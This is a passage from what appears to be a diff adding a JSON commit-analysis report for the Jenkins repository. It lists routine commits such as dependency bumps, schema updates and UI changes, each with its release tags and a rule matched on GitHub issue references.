"jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8839", + "relevance": 2 + } + ] + }, + { + "commit_id": "29f3853cb50f4df58f9dcd9af0911a1c621db217", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704706851, + "hunks": 4, + "message": "Update dependency sass to v1.69.7 (#8835) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: Mark Waite ", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8835": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8835", + "relevance": 2 + } + ] + }, + { + "commit_id": "425df13fcdcc79ccbee68c92aac439e4515a1e76", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704542091, + "hunks": 1, + "message": "Update XML namespace schemaLocation for incrementals (#8828)", + "changed_files": [ + ".mvn/extensions.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8828": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8828", + "relevance": 2 + } + ] + }, + { + "commit_id": "90b8ed957cfb0d455d00ed36b74e77c59ac9cb5b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704487240, + "hunks": 1, + "message": "Add an 'Appearance' category to the wizard (#8822)", + "changed_files": [ + "core/src/main/resources/jenkins/install/platform-plugins.json" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8822": "Update plugin manager description jenkinsci/dark-theme-plugin#445" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8822", + "relevance": 2 + } + ] + }, + { + "commit_id": "e7ed28f7b4d198ddbff0bebd115bdc0f63e134ce", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704319013, + "hunks": 2, + "message": "Uppercase build cancellation message in build queue (#8824)", + "changed_files": [ + "core/src/main/resources/jenkins/widgets/HistoryPageFilter/queue-items.jelly", + "core/src/main/resources/lib/hudson/queue.jelly" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8824": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8824", + "relevance": 2 + } + ] + }, + { + "commit_id": "d75833e5e0e1983cb1c9efec28cf6746e547cab0", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704274034, + "hunks": 30, + "message": "Update appearance of controls in header (#8791) * Init * Tidy up * Update resources.css * Update resources.css * Tidy up * Update resources.css", + "changed_files": [ + "core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/loginLink.jelly", + "core/src/main/resources/hudson/security/SecurityRealm/loginLink.jelly", + "core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/resources.css", + "war/src/main/scss/components/_page-header.scss" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8791": "[JENKINS-72679] Don't animate admin monitor popup on page load, properly remove interactable UI elements #8954 [JENKINS-72679] Revert #8791 #8956 Second backporting for 2.440.1 #8957" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8791", + "relevance": 2 + } + ] + }, + { + "commit_id": "4c423d484267cef3bff602a2e58ae7d7634b1a77", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704183098, + "hunks": 9, + "message": "Update XML namespace schemaLocation (#8817)", + "changed_files": [ + "bom/pom.xml", + "cli/pom.xml", + "core/pom.xml", + "coverage/pom.xml", + "pom.xml", + "test/pom.xml", + "war/pom.xml", + "websocket/jetty10/pom.xml", + "websocket/spi/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8817": "Update XML namespace schemaLocation for incrementals #8828" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8817", + "relevance": 2 + } + ] + }, + { + "commit_id": "45586a4d28cf1853a3e20fbdff7c6eb6c254d0aa", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704165313, + "hunks": 33, + "message": "Update babel monorepo to v7.23.7 (#8820) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8820": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8820", + "relevance": 2 + } + ] + }, + { + "commit_id": "8118d8862eaaa90d8e850fb23eab4d93d7cfa15d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704165219, + "hunks": 1, + "message": "Bump com.puppycrawl.tools:checkstyle from 10.12.6 to 10.12.7 (#8819) Bumps [com.puppycrawl.tools:checkstyle](https://github.com/checkstyle/checkstyle) from 10.12.6 to 10.12.7. - [Release notes](https://github.com/checkstyle/checkstyle/releases) - [Commits](https://github.com/checkstyle/checkstyle/compare/checkstyle-10.12.6...checkstyle-10.12.7) --- updated-dependencies: - dependency-name: com.puppycrawl.tools:checkstyle dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8819": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8819", + "relevance": 2 + } + ] + }, + { + "commit_id": "3597db8e13f8fd5ef5309b31ef55eb8121663a6b", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704164962, + "hunks": 3, + "message": "[JENKINS-72466] Upgrade jbcrypt dependency (#8811) JENKINS-72466: Upgrades jbcrypt dependency", + "changed_files": [ + "bom/pom.xml", + "core/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8811": "Remove jcenter, and oss.sonatype.org-releases repositories from public virtual repository; reconfigure Atlassian remote repositories jenkins-infra/helpdesk#3842 Remove unnecessary include patterns from jcenter-orphans jenkins-infra/helpdesk#3896" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8811", + "relevance": 2 + } + ] + }, + { + "commit_id": "c878487461f1e535e39766893636f2bbf88becc0", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704164939, + "hunks": 1, + "message": "[JENKINS-71666] Adapt to Popper deprecation in Jenkins core (#8810) Removed deprecated popper2-api from war/pom.xml", + "changed_files": [ + "war/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8810": "Bump io.jenkins.plugins.mina-sshd-api:mina-sshd-api-core from 2.11.0-86.v836f585d47fa_ to 2.12.1-101.v85b_e08b_780dd #9093" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8810", + "relevance": 2 + } + ] + }, + { + "commit_id": "2ac59590a6a5021228936a239154300b425a6d8d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704093551, + "hunks": 1, + "message": "Bump slf4jVersion from 2.0.9 to 2.0.10 (#8809) Bumps `slf4jVersion` from 2.0.9 to 2.0.10. Updates `org.slf4j:jcl-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:log4j-over-slf4j` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-api` from 2.0.9 to 2.0.10 Updates `org.slf4j:slf4j-jdk14` from 2.0.9 to 2.0.10 --- updated-dependencies: - dependency-name: org.slf4j:jcl-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:log4j-over-slf4j dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-api dependency-type: direct:production update-type: version-update:semver-patch - dependency-name: org.slf4j:slf4j-jdk14 dependency-type: direct:development update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>", + "changed_files": [ + "bom/pom.xml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8809": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8809", + "relevance": 2 + } + ] + }, + { + "commit_id": "a82e94b05b56193066d85a17065440084fd62552", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704093526, + "hunks": 4, + "message": "Update dependency sass to v1.69.6 (#8816) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8816": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8816", + "relevance": 2 + } + ] + }, + { + "commit_id": "f4095698966cd901681241e994e872846429211d", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704093476, + "hunks": 2, + "message": "Run GH actions release artifact uploader with JDK 17 (#8813)", + "changed_files": [ + ".github/workflows/publish-release-artifact.yml" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8813": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8813", + "relevance": 2 + } + ] + }, + { + "commit_id": "2e267453eb7530848df3a4b75774136446e280b5", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1704021896, + "hunks": 14, + "message": "Update dependency postcss-loader to v7.3.4 (#8812) Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>", + "changed_files": [ + "war/package.json", + "war/yarn.lock" + ], + "message_reference_content": [], + "jira_refs": {}, + "ghissue_refs": { + "8812": "" + }, + "cve_refs": [], + "twins": [], + "tags": [ + "jenkins-2.439", + "jenkins-2.440", + "jenkins-2.440.1", + "jenkins-2.440.1-rc", + "jenkins-2.440.2", + "jenkins-2.440.2-rc", + "jenkins-2.440.3", + "jenkins-2.440.3-rc", + "jenkins-2.441", + "jenkins-2.442", + "jenkins-2.443", + "jenkins-2.444", + "jenkins-2.445", + "jenkins-2.446", + "jenkins-2.447", + "jenkins-2.448", + "jenkins-2.449", + "jenkins-2.450", + "jenkins-2.451", + "jenkins-2.452", + "jenkins-2.452.1", + "jenkins-2.452.1-rc", + "jenkins-2.452.2", + "jenkins-2.452.2-rc", + "jenkins-2.452.3", + "jenkins-2.452.3-rc", + "jenkins-2.452.4", + "jenkins-2.453", + "jenkins-2.454", + "jenkins-2.455", + "jenkins-2.456", + "jenkins-2.457", + "jenkins-2.458", + "jenkins-2.459", + "jenkins-2.460", + "jenkins-2.461", + "jenkins-2.462", + "jenkins-2.462.1", + "jenkins-2.462.1-rc", + "jenkins-2.462.2-rc", + "jenkins-2.463", + "jenkins-2.464", + "jenkins-2.465", + "jenkins-2.466", + "jenkins-2.467", + "jenkins-2.468", + "jenkins-2.469", + "jenkins-2.470", + "jenkins-2.471", + "jenkins-2.472", + "jenkins-2.473", + "jenkins-2.474" + ], + "matched_rules": [ + { + "id": "GITHUB_ISSUE_IN_MESSAGE", + "message": "The commit message references some github issue: 8812", + "relevance": 2 + } + ] + }, + { + "commit_id": "69e20dbbaf70c92c8daabf0327144483a936a667", + "repository": "https://github.com/jenkinsci/jenkins", + "timestamp": 1703809411, + "hunks": 